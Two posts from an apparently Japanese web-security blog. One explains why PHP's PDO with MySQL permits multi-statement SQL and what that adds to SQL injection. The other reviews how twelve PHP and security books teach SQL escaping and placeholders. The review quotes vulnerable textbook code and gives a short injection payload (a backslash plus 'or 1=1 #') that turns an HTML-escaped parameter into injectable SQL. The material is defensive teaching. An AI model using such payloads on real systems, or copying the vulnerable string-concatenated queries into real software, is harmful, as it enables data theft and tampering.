このリクエストはmysql関数が呼び出すものと何ら変わりません。そこで、DB接続時の設定が違うのではないかと思い、そちらを調べてみました(Chasetがlatin1になっているのはPHP5.2.1でのキャプチャであるためです。PHP5.3.5までは接続文字列で指定した文字エンコーディングは無視されていました)。

Supports multiple statementsのビットがセットされています。これが原因のようですね。mysqlおよびmysqliの場合は、このビットは0にセットされています。
次に、該当のソースを見てみます。ext/pdo_mysql/mysql_driver.c のmysql_driver.cです。
448:         int connect_opts = 0
449: #ifdef CLIENT_MULTI_RESULTS
450:                 |CLIENT_MULTI_RESULTS
451: #endif
452: #ifdef CLIENT_MULTI_STATEMENTS
453:                 |CLIENT_MULTI_STATEMENTS
454: #endif
CLIENT_MULTI_STATEMENTSはMySQLのAPIで複文の呼び出しを許可するフラグです。MySQLのマニュアルから該当箇所を引用します。
クライアントが複数行クエリ(‘;’ をステートメントの区切りとする)を送信する可能性があることをサーバに通知する。このフラグが設定されていない場合、複数行クエリは無効。MySQL 4.1 の新機能。
MySQL :: MySQL 4.1 リファレンスマニュアル :: 11.1.3.43 mysql_real_connect() より引用
これを読むと、条件コンパイルの意味が分かりますね。CLIENT_MULTI_STATEMENTSはMySQL 4.1以降で有効ですが、PDOはMySQLの3.xもサポートしていたため、CLIENT_MULTI_STATEMENTSをサポートしていないMySQLを考慮する必要があるということでしょう。
試みに、上記引用部分をコメントアウトしてPHPをビルドしたところ、MySQLで複文実行はできなくなりました。これらから、PDOは複文の実行を(少なくともソースコード上は)明示的に許可していることが分かります。


PDO+MySQLで複文実行できる条件

PHPの様々なバージョンでの試験やソースコードの状況から、PDO+MySQLで複文実行できる条件は下記になると思われます。
  • MySQL4.1以上(上記から)
  • PHP5.2.1以上(試験から)
  • PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいない
PHP5.2.0以下を使っている場合、、あるいは PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいる場合は、PDO::queryによるSQL呼び出しであっても下記のようにいったんprepareされます。

そして、下記のエラーになります。
Error Code: 1064
SQL Code: 42000
Error eessage: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb2 set ban=ban+1' at line 1
queryでは複文は許可されても、Prepare statementでは許可されないようです。


複文を実行できる影響

 MySQLの場合、SQLインジェクションの影響は情報漏えいとファイルの読み書きが主なものですが、複文を実行できる場合は、これに加えて、以下が可能となります。いずれも、権限がある場合です。

  • データベースの更新(いわゆる改ざん)
  • データベースの行削除やテーブルの削除
  • 新規テーブルの作成
  • 新規データベースの作成
  • 新規ユーザの作成
  • データベースの削除
  • その他SQLにて実行可能なこと

SQLインジェクション攻撃の影響が詳しく載っている金床本にもMySQLにて複文実行可能な可能性については言及されていません(MS SQLやPostgreSQLは言及されている)。これはMySQLに対する一般的な認識だと思いますが、このため、MySQLを使っている場合にSQLインジェクションでデータ変更されないとして、これらリスクを受容している場合は特に注意が必要です。


対策

この件について特別な対策は必要ありません。複文が実行されない環境であってもSQLインジェクション脆弱性は受容できない脆弱性として取り扱うべきです。淡々とSQLインジェクション対策すればよいと考えます。以下を推奨します。

  • 原則として文字列連結でSQL文を組み立てない
  • パラメータはプレースホルダにより指定する
  • 特別な事情がなければ静的プレースホルダを使う。元々その方が安全だが、PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false);により複文の実行も予防できる
  • 詳しくはIPAの「安全なSQLの呼び出し方」を読む

まとめ

PDO+MySQLの組み合わせで、アプリケーションにSQLインジェクション脆弱性があると、通常の攻撃に加えて複文による攻撃が可能となり、データの変更や削除が可能となることを紹介しました。
ただし、大騒ぎするような問題ではないと考えます。大騒ぎしなければならないのは、あなたの管理するWebサイトやWebアプリケーションにSQLインジェクション脆弱性がある場合です。SQLインジェクションは元々「あってはならない」脆弱性であって、複文実行が可能になったからと言って、それが変わるわけではないからです。

2013年12月13日金曜日

PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた

この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。

現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。
これらのうち、最初に参照した大垣さんのブログは、以下のように始まっています。
ツイッターでの議論を見て「SQLエスケープを教える必要はない」とする原因は「教育の基本」と「セキュリティの基本」の理解不足が「根本的な原因」だと解ってきました。
オレオレSQLセキュリティ教育は論理的に破綻しているから引用
これを読んで、SQLインジェクション対策という文脈でエスケープ(SQLの文字列リテラルにおけるエスケープ)を教える必要がないという意見があるのだろうかと疑問に思いました。そのため、PHPの教科書、セキュリティの教科書や冊子(PHPにフォーカスしたもの)合計12種類について、SQLインジェクション対策がどのように説明されているかを調査しましたので報告します。

1. よくわかるPHPの教科書(たにぐちまこと著)

ジャパネットたにぐちさんこと、たにぐちまことさんの書かれたPHP入門書です。長らくPHP入門書のAmazon売り上げトップを独走していました。全くの初心者の状態から、twitter風のひと言掲示板の作成まで進みます。

エスケープの説明あり(バックスラッシュのエスケープが抜けている)
SQLライブラリmysql関数
対策方針エスケープ(mysql_real_escape_string)
数値列の扱いsprintfの%d書式+エスケープ
文字エンコーディング指定SET NAMES UTF8

上の表のように、基本的にmysql_real_escape_stringによるエスケープ処理でSQLインジェクション対策していますが、数値列に関しては以下のようにsprintfと組み合わせています。
$sql = sprintf('INERT INTO my_items SET maker_id=%d 【略】', 
    mysql_real_escape_string($_POST['maker_id']));
実は上記は冗長でして、値をシングルクォートで囲っていない場合はエスケープをしても無意味です。上記のSQLインジェクション対策のキモは%d書式による数値化にあります。
これだけであれば、冗長なだけで脆弱性ではありませんが、同書のP272には、sprintfを忘れて単に文字列連結した箇所があり、こちらはmysql_real_escape_string関数によりエスケープ処理はしていますが、脆弱性が混入しています。詳しくは、私のエントリ『よくわかるPHPの教科書』のSQLインジェクション脆弱性を参照ください。
また、文字エンコーディングの指定をSET NAMES UTF8の呼び出しにより行っていますが、あまり良くありません。その理由については、libmysqlclientを使うプログラムはset namesをutf8であっても使ってはいけないを参照ください。ただし、大半の環境で脆弱性となることはないと思われます。正しくは、mysql_set_charset関数により指定することですが、mysql関数そのものがPHP5.5から非推奨になりましたので、PDOまたはmysqli関数に移行しましょう。たにぐち本が書かれた頃は、その情報はなかったので、mysql関数を使っていることは仕方ないと思います。

2. いきなりはじめるPHP~ワクワク・ドキドキの入門教室~(谷藤賢一著)

3. 気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)

「いきなり始める…」は、よくわかるPHPの教科書に代わって、現在Amazonの売り上げトップをひた走るPHP入門書です。HTMLも知らない状態で、教科書に従ってPHPソースを打ち込んでいくと、最終的にDB検索までできるという趣向です。開発環境としてはXAMPPを使用しています。

エスケープの説明なし
SQLライブラリPDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定SET NAMES UTF-8

ご覧のように、エスケープの説明がありませんが、PDOによるプレースホルダを使って脆弱性が入らないようにしています。PHPの入門書であれば、この方法でも問題ないと感じました。本書の続編に「気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)」がありますが、SQLに関しては本書と同じスタイルです。本書のサンプルは色々怪しいところがあり、初期化していない配列に要素を挿入していたり(何カ所もある)、session_destroy()を呼ぶ前にsession_start()を呼んでいないためにログアウト処理でセッションが破棄されていない…等々が散見されますが、幸いSQLインジェクション脆弱性はないようです。

4. 基礎からのPHP(西沢 夢路著)

たにぐち本を強く意識していると思われる全ページカラーで、構成もたにぐち本と同様、入門から、画像処理、メール送信、アップロード、DBなどを広範囲に網羅しています。最終的には画像投稿掲示板を作ります。

エスケープの説明なし
SQLライブラリPDO(冒頭でmysqlの説明もある)
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定指定していない

本書は最終的にはPDOによりMySQLにアクセスする方法を説明していますが、その前にmysqlを用いて基本的なSQLアクセスを説明しています。この段階のサンプルにはSQLインジェクションがあり、同書P166には下記の言い訳(?)が載っています。
不謹慎ですが、P272で勉強する「SQLインジェクション対策」はまったくしていませんあくまで練習用ということでご了解ください。逆に後でSQLインジェクションを試してみるのも面白いかもしれません。
最初に脆弱性のある状態で説明する方法には同意しませんが、後のPDOのサンプルは、原則としてプレースホルダを用いてSQL文を呼び出しているのでSQLインジェクション脆弱性はありません。ただし、以下の微妙なコードはあります(gz_logon2.php)。
$u = htmlspecialchars($_POST['user'], ENT_QUOTES);
// 略
$ps = $db->query("SELECT pas FROM table2 WHERE id='$u'");
$uはユーザIDですが、HTMLエスケープした状態でSQL文に埋め込んでいます。HTMLエスケープの際にENT_QUOTESを指定しているので、シングルクォートは&#039;とエスケープされるので、SQLインジェクションに使えませんが、バックスラッシュ(円記号)はエスケープされません。しかし、外部から操作できるパラメータが一つだけだとかろうじて攻撃できない気がします。もしもWHERE句が以下の形であれば、SQLインジェクション攻撃が可能です。
WHERE id='$u' and pwd pas='$p'    # WHERE句が左記の場合

$u ← \
$p ← or 1=1 #

WHERE句は下記となる

id='\' and pwd pas='or 1=1 #'
    ~~~~~~~~~~~~~~~
    ここまでが文字列リテラル
すなわち、第1パラメータにバックスラッシュを指定すると、第2のパラメータはSQL文の一部となり、UNION SELECTなど好きなSQL機能を用いて攻撃できます。 あぶなっかしい箇所は他にもありますが、それはプレースホルダを使っていないことが原因であり、プレースホルダを使っていれば問題ないものです。

5. かんたんWebプログラミング! これから始める人のPHP学習帖(小川 淳一著)

この本も短いプログラムを打ち込みながら学習するスタイルで、最終的には画像掲示板を作成します。2013年11月30日発行ですから、出たばかりですね。

エスケープの説明間違っている
SQLライブラリmysqli および PDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定mysqli_set_charset およびPDO接続文字列

エスケープの説明が間違っているところを引用します(同書P202)。
たとえば、X'masなど、送信されたデータにシングルクォートやダブルクォートが含まれていると、SQL文法エラーとなり、データ登録などの処理が実行されません。必ずhtmlspecialchars関数で無害しておきましょう
ガタッという感じですが、幸いなことに同書はSQL呼び出しの際に、かたくなにプレースホルダを用いているので、SQLインジェクション脆弱性はなさそうです。多少プログラマの知識が怪しくても(これ自体は残念ですが)、プレースホルダを用いるとSQLインジェクションの可能性をかなり減らすことができる例と言えます。

6. パーフェクトPHP(小川 雄大、柄沢 聡太郎、橋口 誠著)

言わずとしれたパーフェクトPHP。素晴らしい本で、私もPHPの細かい文法を同書で勉強しています。

エスケープの説明データベース専用のエスケープ関数を使え
SQLライブラリPDO
対策方針主にプレースホルダ
数値列の扱いプレースホルダの場合は考慮の必要がないが、
エスケープについては記述なし
文字エンコーディング指定なし

同書のSQL呼び出しの説明は基本的にPDOを用いていますが、SQLインジェクションの説明の節では、プレースホルダが使えない場合はpg_escape_stringやmysql_real_escape_stringなど「データベースエンジン毎に用意された関数」でエスケープするように推奨しています。これは正しい指摘ですが、数値列の場合にどうするかは説明されていません。

7. プロになるための PHPプログラミング入門(星野 香保子著)

タイトルの示すように、入門書を卒業した人がパーフェクトPHPに行く前に読むとよいような位置づけです。入門書だとバリデーションの説明はまずないのですが、同書には「入力値チェック処理」という節が用意されています。CakePHPやAjaxの説明もありと盛りだくさんで、セキュリティの解説も正確です。

エスケープの説明なし
SQLライブラリmysqli
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定set_charsetメソッド

同書はセキュリティに関しては手堅い解説をしています。SQL呼び出しについても、ライブラリの選択、文字エンコーディングの指定、プレースホルダ利用の徹底などの点で模範的です。

8. PHP逆引きレシピ(鈴木 憲治他著)

これも有名な「逆引きレシピ」です。最近第2版が出ましたが、こちらは第1版のほうです。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリmysql および mysqli
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いエスケープの場合はすべての値をシングルクォートで囲む
文字エンコーディング指定mysql_set_charset等

第1版のSQLインジェクション対策については、こちらに批判記事を書きました。問題を要約すると、エスケープすべきでないものまでエスケープしている問題と言えると思います。この問題は第2版では解決されています。

9. PHP逆引きレシピ 第2版(鈴木 憲治他著)

前述の逆引きレシピ第2版です。この第2版は本当に素晴らしい。PHPセキュリティの最新動向をよく把握して、具体的なレシピに落とし込んでいます。すべてのPHP開発者にお勧めします。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリPDO
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない。プレースホルダを使わない場合は、「数値以外の文字が混入しないように入力値を検証する必要があります」
文字エンコーディング指定接続文字列に指定

冒頭に書いたように、この第2版は素晴らしいです。「もうペチパーは緩いなんて言わせない」と叫びたくなるほどのインパクトがあります。たとえば、暗号的に強い乱数が必要な局面では、openssl_random_pseudo_bytes関数を推奨しています。類書だと、uniqidやmt_randを進めている場合が多い状況でした。 SQLインジェクションについては、数値の扱いが厳密になったことと、SQL呼び出しの説明全般がPDOとプレースホルダを用いて記述されていているので安心です。

10. 安全なSQLの呼び出し方

IPAが公開している「安全なウェブサイトの作り方」の別冊です。SQL呼び出しに特化して詳しく説明しています。

エスケープの説明原理から実際まで詳細に説明
SQLライブラリPHPサンプルではMDB2
対策方針プレースホルダ(推奨)、エスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない、エスケープの際もquoteメソッドによる数値対応を推奨
文字エンコーディング指定MDB2の接続文字列

本冊子は、SQLインジェクションの前提となるSQL文法の説明、発生原理から、具体的な対策についてまとめたものです。エスケープ処理をしても、あるいはプレースホルダを用いていても、SQLインジェクション脆弱性が混入する原理や、各エスケープ処理用の関数の生成するエスケープ結果を調査して、安全な方法を解説しています。
上記説明のために、エスケープ処理についてはかなり詳細に説明していますが、それは、エスケープ処理を推奨するためではなく、エスケープ処理が難しいものであるので極力避けて欲しいという意図です。そして、原理的に(パラメータ埋め込みの文脈では)SQLインジェクション脆弱性の混入しない静的プレースホルダを推奨し、各言語での具体的な記述方法を解説しています。
また、エスケープ処理については、文字列と数値に分けて、あるべき処理結果と、各ライブラリの実際の挙動を紹介しています。
安全なSQLの呼び出し方は、公開されてから一度も改版されていないので、「安全になった」という表現は適当でありません。現在のものが安全だとすれば、それはもともと安全であったことを意味します。一方、この冊子の本体である「安全なウェブサイトの作り方」は、脆弱性の概要説明であるので、より一般的・抽象的な表現になっていますが、エスケープの説明について第1版から記述があります。以下は第1版のP4からの引用です。
ということで、「IPAの文書」にエスケープが説明されてなかったなんてことはないはずです。

11. 体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践(徳丸浩著)

拙著、いわゆる徳丸本です。

エスケープの説明本文中では簡潔に記して「安全なSQLの呼び出し方」を参照
SQLライブラリMDB2
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定接続文字列中に記述

拙著ではSQL文字列リテラルのエスケープについては簡単にしか説明していませんが、SQLインジェクションの原理を説明する箇所で以下のように説明しています(P128)。
文字列リテラルの問題
 SQLの標準規格では、文字列リテラルはシングルクォートで囲みます。文字列リテラル中にシングルクォートを含めたい場合は、シングルクォートを重ねる決まりです。これを「シングルクォートをエスケープする」と言います。このため、「O'Reilly」をSQLの文字列リテラルにすると、'O''Reilly'になります。
 ところが SQLインジェクション脆弱性のあるプログラムでは、シングルクォートを重ねる 処理が抜けているため次のようなSQL文が組み立てられます。
対策に関しては、元々拙著は初心者向けを目指して執筆されたこともあり、複数の方法を示すよりも確実に安全な方法を一つ紹介しようという判断から、実務的な対策方法としてはプレースホルダを主に紹介しています。動的に検索条件やソート列が変化するような「プレースホルダでは書きにくい」と思われてきたクエリについても、プレースホルダでの記述例を紹介しています。
また、SQLインジェクションとは別の問題ですが、LIKE述語のワイルドカード(%と_など)のエスケープが必要なため、こちらのエスケープについては詳しく説明しています。
ということで、拙著においてSQLエスケープは、以下の方針に従っています。
  • 原理のところで簡単にエスケープを説明する
  • 実務的な対策はプレースホルダ推奨
  • どうしてもエスケープが必要な場合は安全なSQLの呼び出し方を読んでね


12. Webアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?(大垣 靖男著)

大垣さんのご著書、いわゆる大垣本です。

エスケープの説明あり
SQLライブラリsqlite関数
対策方針プレースホルダ(推奨)、またはエスケープ
数値列の扱い数値であることの確認
文字エンコーディング指定なし

あらためて大垣本を確認して意外に思ったのですが、大垣本もプレースホルダ推奨だったのですね。一度は読んでいたはずですが、大垣さんの近年のエスケープ推しの印象が強いため忘れていたようです。同書P51には概要のまとめとして下記があります。
対策
SQL文のパラメータとなる入力が、数値型である場合は必ず数値型データであることを確認する。文字列型のデータである場合は必ずデータベースシステムにあったエスケープ方式で文字列をエスケープする。プリペアードクエリが利用できる場合は、プリペアードクエリを使用する
同じくP146には下記の記述があります。
基本的に、データベースが提供する文字列エスケープ関数をすべての変数に使用していれば、脆弱性は発生しません。注意しなければならないのは、データベースによって動作やエスケープしなければならない文字が異なることと、プリペアードクエリのサポートです。
 データベースがプリペアードクエリをサポートしている場合は、プリペアードクエリを使用した方がよいです。PostgreSQLはプリペアードクエリが利用できます。
ということで、少なくとも同書が出たころ(2006年3月)は、大垣さんのプレースホルダ(プリペアードクエリ)推しだったようです。今はどうなのでしょうか?

まとめ

PHPの教科書9種類と、セキュリティの解説書3種類を読んで、SQLインジェクション対策と関連してエスケープの説明をしているかどうかを確認しました。
調査前は、私自身は「SQLインジェクションの解説なら当然エスケープは説明するだろう」と予測していたのですが、PHPの教科書ではエスケープを説明していないモノが多く、プレースホルダを用いてSQLインジェクション対策しているものが目立ちました。
一方、セキュリティの解説書の場合は、今回紹介しなかったものも含め、エスケープについては解説していました。
PHPの解説書ではSQLのエスケープを説明しない場合が多い点については、私は、これはこれでアリだろうと思いました。初学者のうちは、とにかく安全に、SQLインジェクションを混入しない書き方が求められます。この点、「プロになるための PHPプログラミング入門」には、SQLインジェクション脆弱性の発生原因として下記が指摘されています。
自分でパラメータを文字列連結しながらSQL文を組み立てている
私は上記に深く同意します。そして、文字列連結なしにSQL文を呼び出そうとすると、必然的にプレースホルダを使わざるを得ません。
また、次の見方もできます。今回調べたPHP入門書の中には、失礼ながら著者自身のプログラミング力量が怪しいものが少なからず見られましたが、その割にはSQLインジェクション脆弱性は見つかりませんでした。これはプレースホルダを使っていれば、(絶対に大丈夫という訳ではないにしても)少々ミスをしてもSQLインジェクション脆弱性の混入は食い止められるということです。このエントリで紹介した唯一のSQLインジェクション例は、エスケープ処理の不適切な実装によるものでした。また、脆弱性ではないにしても、数値列を含むエスケープ処理(あるいはSQLリテラルの正しい構成)は、PHP解説書の著者でさえも難しいらしく、不適切な例が見られました。
全体のまとめは下記の通りです。
  • PHP初心者がSQLを呼び出す場合は、「ともかく文字列連結でSQL文を組み立てるな、プレースホルダを使え」という指導は有効
  • SQLインジェクションについて深く知るためにはエスケープ処理を知る必要がある
  • SQLの動的組み立てを必要とするフレームワーク、O/Rマッパー、データベース管理ツール等の開発には、上記ルールだけでは不足だが、少数の優れた開発者が担当するものであり、必要に応じて高度な技術を学んでもらえばよい

次回はでこくん(@dekokun)ですね。よろしくお願いします。

フォロワー

ブログ アーカイブ